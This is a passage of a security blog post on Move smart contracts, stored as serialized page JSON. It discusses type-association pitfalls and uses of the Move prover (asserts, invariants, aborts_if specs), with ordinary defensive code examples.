amount",{"type":23,"tag":504,"props":9495,"children":9496},{"style":5047},[9497],{"type":29,"value":6533},{"type":23,"tag":504,"props":9499,"children":9500},{"style":5467},[9501],{"type":29,"value":7905},{"type":23,"tag":504,"props":9503,"children":9504},{"style":5058},[9505],{"type":29,"value":5557},{"type":23,"tag":504,"props":9507,"children":9508},{"class":5016,"line":5349},[9509],{"type":23,"tag":504,"props":9510,"children":9511},{"style":5021},[9512],{"type":29,"value":8220},{"type":23,"tag":504,"props":9514,"children":9515},{"class":5016,"line":5367},[9516],{"type":23,"tag":504,"props":9517,"children":9518},{"style":5058},[9519],{"type":29,"value":5403},{"type":23,"tag":32,"props":9521,"children":9522},{},[9523,9525,9530,9532,9537],{"type":29,"value":9524},"If ",{"type":23,"tag":154,"props":9526,"children":9528},{"className":9527},[],[9529],{"type":29,"value":9364},{"type":29,"value":9531}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":154,"props":9533,"children":9535},{"className":9534},[],[9536],{"type":29,"value":8033},{"type":29,"value":9538}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":32,"props":9540,"children":9541},{},[9542],{"type":29,"value":9543},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":4743,"props":9545,"children":9547},{"className":5009,"code":9546,"language":5008,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[9548],{"type":23,"tag":154,"props":9549,"children":9550},{"__ignoreMap":7},[9551,9559,9621,9670,9722,9747,9759,9781,9789,9802],{"type":23,"tag":504,"props":9552,"children":9553},{"class":5016,"line":5017},[9554],{"type":23,"tag":504,"props":9555,"children":9556},{"style":5021},[9557],{"type":29,"value":9558},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":504,"props":9560,"children":9561},{"class":5016,"line":4868},[9562,9567,9571,9576,9580,9585,9589,9594,9598,9602,9607,9612,9617],{"type":23,"tag":504,"props":9563,"children":9564},{"style":5041},[9565],{"type":29,"value":9566},"    public",{"type":23,"tag":504,"props":9568,"children":9569},{"style":5041},[9570],{"type":29,"value":8252},{"type":23,"tag":504,"props":9572,"children":9573},{"style":5139},[9574],{"type":29,"value":9575}," get_price",{"type":23,"tag":504,"props":9577,"children":9578},{"style":5058},[9579],{"type":29,"value":603},{"type":23,"tag":504,"props":9581,"children":9582},{"style":5041},[9583],{"type":29,"value":9584},"type_info",{"type":23,"tag":504,"props":9586,"children":9587},{"style":5047},[9588],{"type":29,"value":6533},{"type":23,"tag":504,"props":9590,"children":9591},{"style":5467},[9592],{"type":29,"value":9593}," TypeInfo",{"type":23,"tag":504,"props":9595,"children":9596},{"style":5058},[9597],{"type":29,"value":933},{"type":23,"tag":504,"props":9599,"children":9600},{"style":5047},[9601],{"type":29,"value":6533},{"type":23,"tag":504,"props":9603,"children":9604},{"style":5467},[9605],{"type":29,"value":9606}," Decimal",{"type":23,"tag":504,"props":9608,"children":9609},{"style":5041},[9610],{"type":29,"value":9611}," acquires",{"type":23,"tag":504,"props":9613,"children":9614},{"style":5467},[9615],{"type":29,"value":9616}," Oracle",{"type":23,"tag":504,"props":9618,"children":9619},{"style":5058},[9620],{"type":29,"value":5333},{"type":23,"tag":504,"props":9622,"children":9623},{"class":5016,"line":4876},[9624,9628,9633,9637,9642,9646,9651,9656,9661,9666],{"type":23,"tag":504,"props":9625,"children":9626},{"style":5030},[9627],{"type":29,"value":5105},{"type":23,"tag":504,"props":9629,"children":9630},{"style":5041},[9631],{"type":29,"value":9632}," oracle",{"type":23,"tag":504,"props":9634,"children":9635},{"style":5047},[9636],{"type":29,"value":5050},{"type":23,"tag":504,"props":9638,"children":9639},{"style":5041},[9640],{"type":29,"value":9641}," borrow_global_mut",{"type":23,"tag":504,"props":9643,"children":9644},{"style":5058},[9645],{"type":29,"value":2658},{"type":23,"tag":504,"props":9647,"children":9648},{"style":5467},[9649],{"type":29,"value":9650},"Oracle",{"type":23,"tag":504,"props":9652,"children":9653},{"style":5058},[9654],{"type":29,"value":9655},">(",{"type":23,"tag":504,"props":9657,"children":9658},{"style":5047},[9659],{"type":29,"value":9660},"@",{"type":23,"tag":504,"props":9662,"children":9663},{"style":5041},[9664],{"type":29,"value":9665},"oracle",{"type":23,"tag":504,"props":9667,"children":9668},{"style":5058},[9669],{"type":29,"value":5888},{"type":23,"tag":504,"props":9671,"children":9672},{"class":5016,"line":5099},[9673,9677,9682,9686,9691,9695,9700,9704,9709,9713,9718],{"type":23,"tag":504,"props":9674,"children":9675},{"style":5030},[9676],{"type":29,"value":5105},{"type":23,"tag":504,"props":9678,"children":9679},{"style":5041},[9680],{"type":29,"value":9681}," price",{"type":23,"tag":504,"props":9683,"children":9684},{"style":5047},[9685],{"type":29,"value":5050},{"type":23,"tag":504,"props":9687,"children":9688},{"style":5058},[9689],{"type":29,"value":9690}," table",{"type":23,"tag":504,"props":9692,"children":9693},{"style":5047},[9694],{"type":29,"value":5530},{"type":23,"tag":504,"props":9696,"children":9697},{"style":5041},[9698],{"type":29,"value":9699},"borrow_mut_with_default",{"type":23,"tag":504,"props":9701,"children":9702},{"style":5058},[9703],{"type":29,"value":2658},{"type":23,"tag":504,"props":9705,"children":9706},{"style":5467},[9707],{"type":29,"value":9708},"TypeInfo",{"type":23,"tag":504,"props":9710,"children":9711},{"style":5058},[9712],{"type":29,"value":4367},{"type":23,"tag":504,"props":9714,"children":9715},{"style":5467},[9716],{"type":29,"value":9717},"Decimal",{"type":23,"tag":504,"props":9719,"children":9720},{"style":5058},[9721],{"type":29,"value":8632},{"type":23,"tag":504,"props":9723,"children":9724},{"class":5016,"line":5203},[9725,9730,9734,9738,9742],{"type":23,"tag":504,"props":9726,"children":9727},{"style":5047},[9728],{"type":29,"value":9729},"            &",{"type":23,"tag":504,"props":9731,"children":9732},{"style":5030},[9733],{"type":29,"value":5783},{"type":23,"tag":504,"props":9735,"children":9736},{"style":5041},[9737],{"type":29,"value":9632},{"type":23,"tag":504,"props":9739,"children":9740},{"style":5047},[9741],{"type":29,"value":357},{"type":23,"tag":504,"props":9743,"children":9744},{"style":5058},[9745],{"type":29,"value":9746},"prices,\n",{"type":23,"tag":504,"props":9748,"children":9749},{"class":5016,"line":5308},[9750,9755],{"type":23,"tag":504,"props":9751,"children":9752},{"style":5041},[9753],{"type":29,"value":9754},"            type_info",{"type":23,"tag":504,"props":9756,"children":9757},{"style":5058},[9758],{"type":29,"value":5557},{"type":23,"tag":504,"props":9760,"children":9761},{"class":5016,"line":5336},[9762,9767,9771,9776],{"type":23,"tag":504,"props":9763,"children":9764},{"style":5058},[9765],{"type":29,"value":9766},"            decimal",{"type":23,"tag":504,"props":9768,"children":9769},{"style":5047},[9770],{"type":29,"value":5530},{"type":23,"tag":504,"props":9772,"children":9773},{"style":5139},[9774],{"type":29,"value":9775},"one",{"type":23,"tag":504,"props":9777,"children":9778},{"style":5058},[9779],{"type":29,"value":9780},"()\n",{"type":23,"tag":504,"props":9782,"children":9783},{"class":5016,"line":5349},[9784],{"type":23,"tag":504,"props":9785,"children":9786},{"style":5058},[9787],{"type":29,"value":9788},"        );\n",{"type":23,"tag":504,"props":9790,"children":9791},{"class":5016,"line":5367},[9792,9797],{"type":23,"tag":504,"props":9793,"children":9794},{"style":5047},[9795],{"type":29,"value":9796},"        *",{"type":23,"tag":504,"props":9798,"children":9799},{"style":5041},[9800],{"type":29,"value":9801},"price\n",{"type":23,"tag":504,"props":9803,"children":9804},{"class":5016,"line":5388},[9805],{"type":23,"tag":504,"props":9806,"children":9807},{"style":5058},[9808],{"type":29,"value":5403},{"type":23,"tag":32,"props":9810,"children":9811},{},[9812,9814,9819],{"type":29,"value":9813},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":4321,"props":9815,"children":9816},{},[9817],{"type":29,"value":9818},"instance",{"type":29,"value":9820}," of another resource (which is possible in Diem style move).",{"type":23,"tag":32,"props":9822,"children":9823},{},[9824],{"type":29,"value":9825},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":139,"props":9827,"children":9828},{},[9829,9834],{"type":23,"tag":143,"props":9830,"children":9831},{},[9832],{"type":29,"value":9833},"Have unique initializers for your resources",{"type":23,"tag":143,"props":9835,"children":9836},{},[9837],{"type":29,"value":9838},"Associate resources with instances directly",{"type":23,"tag":24,"props":9840,"children":9842},{"id":9841},"formal-verification",[9843],{"type":29,"value":9844},"Formal Verification",{"type":23,"tag":32,"props":9846,"children":9847},{},[9848],{"type":29,"value":9849},"Formal verification is another exciting feature.",{"type":23,"tag":32,"props":9851,"children":9852},{},[9853],{"type":29,"value":9854},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":32,"props":9856,"children":9857},{},[9858,9860,9865],{"type":29,"value":9859},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":4321,"props":9861,"children":9862},{},[9863],{"type":29,"value":9864},"what",{"type":29,"value":9866}," to prove.",{"type":23,"tag":32,"props":9868,"children":9869},{},[9870,9872,9879],{"type":29,"value":9871},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":68,"props":9873,"children":9876},{"href":9874,"rel":9875},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[72],[9877],{"type":29,"value":9878},"Solana AMM rounding issue",{"type":29,"value":9880}," we reported.",{"type":23,"tag":32,"props":9882,"children":9883},{},[9884],{"type":29,"value":9885},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":4743,"props":9887,"children":9889},{"className":5009,"code":9888,"language":5008,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[9890],{"type":23,"tag":154,"props":9891,"children":9892},{"__ignoreMap":7},[9893,9954],{"type":23,"tag":504,"props":9894,"children":9895},{"class":5016,"line":5017},[9896,9901,9906,9910,9915,9919,9924,9928,9932,9937,9941,9945,9950],{"type":23,"tag":504,"props":9897,"children":9898},{"style":5030},[9899],{"type":29,"value":9900},"  let",{"type":23,"tag":504,"props":9902,"children":9903},{"style":5041},[9904],{"type":29,"value":9905}," cmp",{"type":23,"tag":504,"props":9907,"children":9908},{"style":5047},[9909],{"type":29,"value":5050},{"type":23,"tag":504,"props":9911,"children":9912},{"style":5058},[9913],{"type":29,"value":9914}," u256",{"type":23,"tag":504,"props":9916,"children":9917},{"style":5047},[9918],{"type":29,"value":5530},{"type":23,"tag":504,"props":9920,"children":9921},{"style":5139},[9922],{"type":29,"value":9923},"compare",{"type":23,"tag":504,"props":9925,"children":9926},{"style":5058},[9927],{"type":29,"value":603},{"type":23,"tag":504,"props":9929,"children":9930},{"style":5047},[9931],{"type":29,"value":5151},{"type":23,"tag":504,"props":9933,"children":9934},{"style":5041},[9935],{"type":29,"value":9936},"lp_value_after_swap_and_fee",{"type":23,"tag":504,"props":9938,"children":9939},{"style":5058},[9940],{"type":29,"value":4367},{"type":23,"tag":504,"props":9942,"children":9943},{"style":5047},[9944],{"type":29,"value":5151},{"type":23,"tag":504,"props":9946,"children":9947},{"style":5041},[9948],{"type":29,"value":9949},"lp_value_before_swap_u256",{"type":23,"tag":504,"props":9951,"children":9952},{"style":5058},[9953],{"type":29,"value":5888},{"type":23,"tag":504,"props":9955,"children":9956},{"class":5016,"line":4868},[9957,9962,9966,9971,9975,9980],{"type":23,"tag":504,"props":9958,"children":9959},{"style":5139},[9960],{"type":29,"value":9961},"  assert!",{"type":23,"tag":504,"props":9963,"children":9964},{"style":5058},[9965],{"type":29,"value":603},{"type":23,"tag":504,"props":9967,"children":9968},{"style":5041},[9969],{"type":29,"value":9970},"cmp",{"type":23,"tag":504,"props":9972,"children":9973},{"style":5047},[9974],{"type":29,"value":5324},{"type":23,"tag":504,"props":9976,"children":9977},{"style":5083},[9978],{"type":29,"value":9979}," 2",{"type":23,"tag":504,"props":9981,"children":9982},{"style":5058},[9983],{"type":29,"value":9984},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":32,"props":9986,"children":9987},{},[9988,9990,9995],{"type":29,"value":9989},"The move prover really shines when we're proving relationships ",{"type":23,"tag":4321,"props":9991,"children":9992},{},[9993],{"type":29,"value":9994},"between",{"type":29,"value":9996}," functions.",{"type":23,"tag":32,"props":9998,"children":9999},{},[10000,10002,10008],{"type":29,"value":10001},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":154,"props":10003,"children":10005},{"className":10004},[],[10006],{"type":29,"value":10007},"no_free_money_theorem",{"type":29,"value":10009}," in the move repository.",{"type":23,"tag":4743,"props":10011,"children":10013},{"className":5009,"code":10012,"language":5008,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[10014],{"type":23,"tag":154,"props":10015,"children":10016},{"__ignoreMap":7},[10017,10025,10113,10155,10176,10183,10199,10225,10252,10277],{"type":23,"tag":504,"props":10018,"children":10019},{"class":5016,"line":5017},[10020],{"type":23,"tag":504,"props":10021,"children":10022},{"style":5021},[10023],{"type":29,"value":10024},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":504,"props":10026,"children":10027},{"class":5016,"line":4868},[10028,10032,10037,10041,10046,10050,10054,10058,10063,10067,10071,10075,10079,10083,10088,10092,10096,10100,10104,10109],{"type":23,"tag":504,"props":10029,"children":10030},{"style":5041},[10031],{"type":29,"value":8613},{"type":23,"tag":504,"props":10033,"children":10034},{"style":5139},[10035],{"type":29,"value":10036}," no_free_money_theorem",{"type":23,"tag":504,"props":10038,"children":10039},{"style":5058},[10040],{"type":29,"value":603},{"type":23,"tag":504,"props":10042,"children":10043},{"style":5041},[10044],{"type":29,"value":10045},"coin1_in",{"type":23,"tag":504,"props":10047,"children":10048},{"style":5047},[10049],{"type":29,"value":6533},{"type":23,"tag":504,"props":10051,"children":10052},{"style":5467},[10053],{"type":29,"value":7905},{"type":23,"tag":504,"props":10055,"children":10056},{"style":5058},[10057],{"type":29,"value":4367},{"type":23,"tag":504,"props":10059,"children":10060},{"style":5041},[10061],{"type":29,"value":10062},"coin2_in",{"type":23,"tag":504,"props":10064,"children":10065},{"style":5047},[10066],{"type":29,"value":6533},{"type":23,"tag":504,"props":10068,"children":10069},{"style":5467},[10070],{"type":29,"value":7905},{"type":23,"tag":504,"props":10072,"children":10073},{"style":5058},[10074],{"type":29,"value":933},{"type":23,"tag":504,"props":10076,"children":10077},{"style":5047},[10078],{"type":29,"value":6533},{"type":23,"tag":504,"props":10080,"children":10081},{"style":5058},[10082],{"type":29,"value":5110},{"type":23,"tag":504,"props":10084,"children":10085},{"style":5467},[10086],{"type":29,"value":10087},"u64",{"type":23,"tag":504,"props":10089,"children":10090},{"style":5058},[10091],{"type":29,"value":4367},{"type":23,"tag":504,"props":10093,"children":10094},{"style":5467},[10095],{"type":29,"value":10087},{"type":23,"tag":504,"props":10097,"children":10098},{"style":5058},[10099],{"type":29,"value":5128},{"type":23,"tag":504,"props":10101,"children":10102},{"style":5041},[10103],{"type":29,"value":8389},{"type":23,"tag":504,"props":10105,"children":10106},{"style":5467},[10107],{"type":29,"value":10108}," Pool",{"type":23,"tag":504,"props":10110,"children":10111},{"style":5058},[10112],{"type":29,"value":5333},{"type":23,"tag":504,"props":10114,"children":10115},{"class":5016,"line":4876},[10116,10121,10126,10130,10135,10139,10143,10147,10151],{"type":23,"tag":504,"props":10117,"children":10118},{"style":5030},[10119],{"type":29,"value":10120},"      let",{"type":23,"tag":504,"props":10122,"children":10123},{"style":5041},[10124],{"type":29,"value":10125}," share",{"type":23,"tag":504,"props":10127,"children":10128},{"style":5047},[10129],{"type":29,"value":5050},{"type":23,"tag":504,"props":10131,"children":10132},{"style":5139},[10133],{"type":29,"value":10134}," add_liquidity",{"type":23,"tag":504,"props":10136,"children":10137},{"style":5058},[10138],{"type":29,"value":603},{"type":23,"tag":504,"props":10140,"children":10141},{"style":5041},[10142],{"type":29,"value":10045},{"type":23,"tag":504,"props":10144,"children":10145},{"style":5058},[10146],{"type":29,"value":4367},{"type":23,"tag":504,"props":10148,"children":10149},{"style":5041},[10150],{"type":29,"value":10062},{"type":23,"tag":504,"props":10152,"children":10153},{"style":5058},[10154],{"type":29,"value":5888},{"type":23,"tag":504,"props":10156,"children":10157},{"class":5016,"line":5099},[10158,10163,10167,10172],{"type":23,"tag":504,"props":10159,"children":10160},{"style":5139},[10161],{"type":29,"value":10162},"      remove_liquidity",{"type":23,"tag":504,"props":10164,"children":10165},{"style":5058},[10166],{"type":29,"value":603},{"type":23,"tag":504,"props":10168,"children":10169},{"style":5041},[10170],{"type":29,"value":10171},"share",{"type":23,"tag":504,"props":10173,"children":10174},{"style":5058},[10175],{"type":29,"value":5200},{"type":23,"tag":504,"props":10177,"children":10178},{"class":5016,"line":5203},[10179],{"type":23,"tag":504,"props":10180,"children":10181},{"style":5058},[10182],{"type":29,"value":7917},{"type":23,"tag":504,"props":10184,"children":10185},{"class":5016,"line":5308},[10186,10191,10195],{"type":23,"tag":504,"props":10187,"children":10188},{"style":5041},[10189],{"type":29,"value":10190},"  spec",{"type":23,"tag":504,"props":10192,"children":10193},{"style":5041},[10194],{"type":29,"value":10036},{"type":23,"tag":504,"props":10196,"children":10197},{"style":5058},[10198],{"type":29,"value":5333},{"type":23,"tag":504,"props":10200,"children":10201},{"class":5016,"line":5336},[10202,10207,10212,10216,10221],{"type":23,"tag":504,"props":10203,"children":10204},{"style":5041},[10205],{"type":29,"value":10206},"      pragma",{"type":23,"tag":504,"props":10208,"children":10209},{"style":5041},[10210],{"type":29,"value":10211}," verify",{"type":23,"tag":504,"props":10213,"children":10214},{"style":5047},[10215],{"type":29,"value":546},{"type":23,"tag":504,"props":10217,"children":10218},{"style":5030},[10219],{"type":29,"value":10220},"false",{"type":23,"tag":504,"props":10222,"children":10223},{"style":5058},[10224],{"type":29,"value":5061},{"type":23,"tag":504,"props":10226,"children":10227},{"class":5016,"line":5349},[10228,10233,10238,10243,10248],{"type":23,"tag":504,"props":10229,"children":10230},{"style":5041},[10231],{"type":29,"value":10232},"      ensures",{"type":23,"tag":504,"props":10234,"children":10235},{"style":5041},[10236],{"type":29,"value":10237}," result_1",{"type":23,"tag":504,"props":10239,"children":10240},{"style":5047},[10241],{"type":29,"value":10242}," \u003C=",{"type":23,"tag":504,"props":10244,"children":10245},{"style":5041},[10246],{"type":29,"value":10247}," coin1_in",{"type":23,"tag":504,"props":10249,"children":10250},{"style":5058},[10251],{"type":29,"value":5061},{"type":23,"tag":504,"props":10253,"children":10254},{"class":5016,"line":5367},[10255,10259,10264,10268,10273],{"type":23,"tag":504,"props":10256,"children":10257},{"style":5041},[10258],{"type":29,"value":10232},{"type":23,"tag":504,"props":10260,"children":10261},{"style":5041},[10262],{"type":29,"value":10263}," result_2",{"type":23,"tag":504,"props":10265,"children":10266},{"style":5047},[10267],{"type":29,"value":10242},{"type":23,"tag":504,"props":10269,"children":10270},{"style":5041},[10271],{"type":29,"value":10272}," coin2_in",{"type":23,"tag":504,"props":10274,"children":10275},{"style":5058},[10276],{"type":29,"value":5061},{"type":23,"tag":504,"props":10278,"children":10279},{"class":5016,"line":5388},[10280],{"type":23,"tag":504,"props":10281,"children":10282},{"style":5058},[10283],{"type":29,"value":7917},{"type":23,"tag":32,"props":10285,"children":10286},{},[10287],{"type":29,"value":10288},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":32,"props":10290,"children":10291},{},[10292,10294,10299],{"type":29,"value":10293},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":4321,"props":10295,"children":10296},{},[10297],{"type":29,"value":10298},"lot",{"type":29,"value":10300}," easier to reason about the protocol.",{"type":23,"tag":32,"props":10302,"children":10303},{},[10304],{"type":29,"value":10305},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":4743,"props":10307,"children":10309},{"className":5009,"code":10308,"language":5008,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[10310],{"type":23,"tag":154,"props":10311,"children":10312},{"__ignoreMap":7},[10313,10330,10353],{"type":23,"tag":504,"props":10314,"children":10315},{"class":5016,"line":5017},[10316,10321,10326],{"type":23,"tag":504,"props":10317,"children":10318},{"style":5041},[10319],{"type":29,"value":10320},"spec",{"type":23,"tag":504,"props":10322,"children":10323},{"style":5467},[10324],{"type":29,"value":10325}," PoolState",{"type":23,"tag":504,"props":10327,"children":10328},{"style":5058},[10329],{"type":29,"value":5333},{"type":23,"tag":504,"props":10331,"children":10332},{"class":5016,"line":4868},[10333,10338,10343,10348],{"type":23,"tag":504,"props":10334,"children":10335},{"style":5041},[10336],{"type":29,"value":10337},"    invariant",{"type":23,"tag":504,"props":10339,"children":10340},{"style":5041},[10341],{"type":29,"value":10342}," supply",{"type":23,"tag":504,"props":10344,"children":10345},{"style":5047},[10346],{"type":29,"value":10347}," >=",{"type":23,"tag":504,"props":10349,"children":10350},{"style":5058},[10351],{"type":29,"value":10352}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":504,"props":10354,"children":10355},{"class":5016,"line":4876},[10356],{"type":23,"tag":504,"props":10357,"children":10358},{"style":5058},[10359],{"type":29,"value":5965},{"type":23,"tag":32,"props":10361,"children":10362},{},[10363,10365,10371,10373,10379],{"type":29,"value":10364},"Another useful pattern for the Move prover is ",{"type":23,"tag":154,"props":10366,"children":10368},{"className":10367},[],[10369],{"type":29,"value":10370},"aborts_if",{"type":29,"value":10372},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":154,"props":10374,"children":10376},{"className":10375},[],[10377],{"type":29,"value":10378},"aborts_if false",{"type":29,"value":357},{"type":23,"tag":32,"props":10381,"children":10382},{},[10383],{"type":29,"value":10384},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":4743,"props":10386,"children":10388},{"className":5009,"code":10387,"language":5008,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[10389],{"type":23,"tag":154,"props":10390,"children":10391},{"__ignoreMap":7},[10392,10456,10498,10521,10566,10579,10591,10629,10652,10740,10748,10773,10781,10802,10822,10922,10930,10959,10967,10979,11003,11038,11045,11053,11060,11075,11091,11109,11154,11260],{"type":23,"tag":504,"props":10393,"children":10394},{"class":5016,"line":5017},[10395,10399,10404,10408,10413,10417,10422,10426,10430,10435,10439,10443,10447,10452],{"type":23,"tag":504,"props":10396,"children":10397},{"style":5041},[10398],{"type":29,"value":8613},{"type":23,"tag":504,"props":10400,"children":10401},{"style":5139},[10402],{"type":29,"value":10403}," multiply_vec_by_n_coins",{"type":23,"tag":504,"props":10405,"children":10406},{"style":5058},[10407],{"type":29,"value":603},{"type":23,"tag":504,"props":10409,"children":10410},{"style":5041},[10411],{"type":29,"value":10412},"input",{"type":23,"tag":504,"props":10414,"children":10415},{"style":5047},[10416],{"type":29,"value":6533},{"type":23,"tag":504,"props":10418,"children":10419},{"style":5041},[10420],{"type":29,"value":10421}," vector",{"type":23,"tag":504,"props":10423,"children":10424},{"style":5058},[10425],{"type":29,"value":2658},{"type":23,"tag":504,"props":10427,"children":10428},{"style":5467},[10429],{"type":29,"value":10087},{"type":23,"tag":504,"props":10431,"children":10432},{"style":5058},[10433],{"type":29,"value":10434},">)",{"type":23,"tag":504,"props":10436,"children":10437},{"style":5047},[10438],{"type":29,"value":6533},{"type":23,"tag":504,"props":10440,"children":10441},{"style":5041},[10442],{"type":29,"value":10421},{"type":23,"tag":504,"props":10444,"children":10445},{"style":5058},[10446],{"type":29,"value":2658},{"type":23,"tag":504,"props":10448,"children":10449},{"style":5467},[10450],{"type":29,"value":10451},"u128",{"type":23,"tag":504,"props":10453,"children":10454},{"style":5058},[10455],{"type":29,"value":9325},{"type":23,"tag":504,"props":10457,"children":10458},{"class":5016,"line":4868},[10459,10463,10468,10472,10476,10480,10485,10489,10493],{"type":23,"tag":504,"props":10460,"children":10461},{"style":5030},[10462],{"type":29,"value":10120},{"type":23,"tag":504,"props":10464,"children":10465},{"style":5041},[10466],{"type":29,"value":10467}," amounts_times_coins",{"type":23,"tag":504,"props":10469,"children":10470},{"style":5047},[10471],{"type":29,"value":5050},{"type":23,"tag":504,"props":10473,"children":10474},{"style":5058},[10475],{"type":29,"value":10421},{"type":23,"tag":504,"props":10477,"children":10478},{"style":5047},[10479],{"type":29,"value":5530},{"type":23,"tag":504,"props":10481,"children":10482},{"style":5041},[10483],{"type":29,"value":10484},"empty",{"type":23,"tag":504,"props":10486,"children":10487},{"style":5058},[10488],{"type":29,"value":2658},{"type":23,"tag":504,"props":10490,"children":10491},{"style":5467},[10492],{"type":29,"value":10451},{"type":23,"tag":504,"props":10494,"children":10495},{"style":5058},[10496],{"type":29,"value":10497},">();\n",{"type":23,"tag":504,"props":10499,"children":10500},{"class":5016,"line":4876},[10501,10505,10509,10513,10517],{"type":23,"tag":504,"props":10502,"children":10503},{"style":5030},[10504],{"type":29,"value":10120},{"type":23,"tag":504,"props":10506,"children":10507},{"style":5041},[10508],{"type":29,"value":5446},{"type":23,"tag":504,"props":10510,"children":10511},{"style":5047},[10512],{"type":29,"value":5050},{"type":23,"tag":504,"props":10514,"children":10515},{"style":5083},[10516],{"type":29,"value":5086},{"type":23,"tag":504,"props":10518,"children":10519},{"style":5058},[10520],{"type":29,"value":5061},{"type":23,"tag":504,"props":10522,"children":10523},{"class":5016,"line":5099},[10524,10528,10533,10537,10541,10545,10550,10554,10558,10562],{"type":23,"tag":504,"props":10525,"children":10526},{"style":5030},[10527],{"type":29,"value":10120},{"type":23,"tag":504,"props":10529,"children":10530},{"style":5041},[10531],{"type":29,"value":10532}," n_coins",{"type":23,"tag":504,"props":10534,"children":10535},{"style":5047},[10536],{"type":29,"value":5050},{"type":23,"tag":504,"props":10538,"children":10539},{"style":5058},[10540],{"type":29,"value":10421},{"type":23,"tag":504,"props":10542,"children":10543},{"style":5047},[10544],{"type":29,"value":5530},{"type":23,"tag":504,"props":10546,"children":10547},{"style":5139},[10548],{"type":29,"value":10549},"length",{"type":23,"tag":504,"props":10551,"children":10552},{"style":5058},[10553],{"type":29,"value":603},{"type":23,"tag":504,"props":10555,"children":10556},{"style":5047},[10557],{"type":29,"value":5151},{"type":23,"tag":504,"props":10559,"children":10560},{"style":5041},[10561],{"type":29,"value":10412},{"type":23,"tag":504,"props":10563,"children":10564},{"style":5058},[10565],{"type":29,"value":5888},{"type":23,"tag":504,"props":10567,"children":10568},{"class":5016,"line":5203},[10569,10574],{"type":23,"tag":504,"props":10570,"children":10571},{"style":5067},[10572],{"type":29,"value":10573},"      while",{"type":23,"tag":504,"props":10575,"children":10576},{"style":5058},[10577],{"type":29,"value":10578}," ({\n",{"type":23,"tag":504,"props":10580,"children":10581},{"class":5016,"line":5308},[10582,10587],{"type":23,"tag":504,"props":10583,"children":10584},{"style":5041},[10585],{"type":29,"value":10586},"          spec",{"type":23,"tag":504,"props":10588,"children":10589},{"style":5058},[10590],{"type":29,"value":5333},{"type":23,"tag":504,"props":10592,"children":10593},{"class":5016,"line":5336},[10594,10599,10604,10608,10613,10617,10621,10625],{"type":23,"tag":504,"props":10595,"children":10596},{"style":5041},[10597],{"type":29,"value":10598},"              invariant",{"type":23,"tag":504,"props":10600,"children":10601},{"style":5139},[10602],{"type":29,"value":10603}," 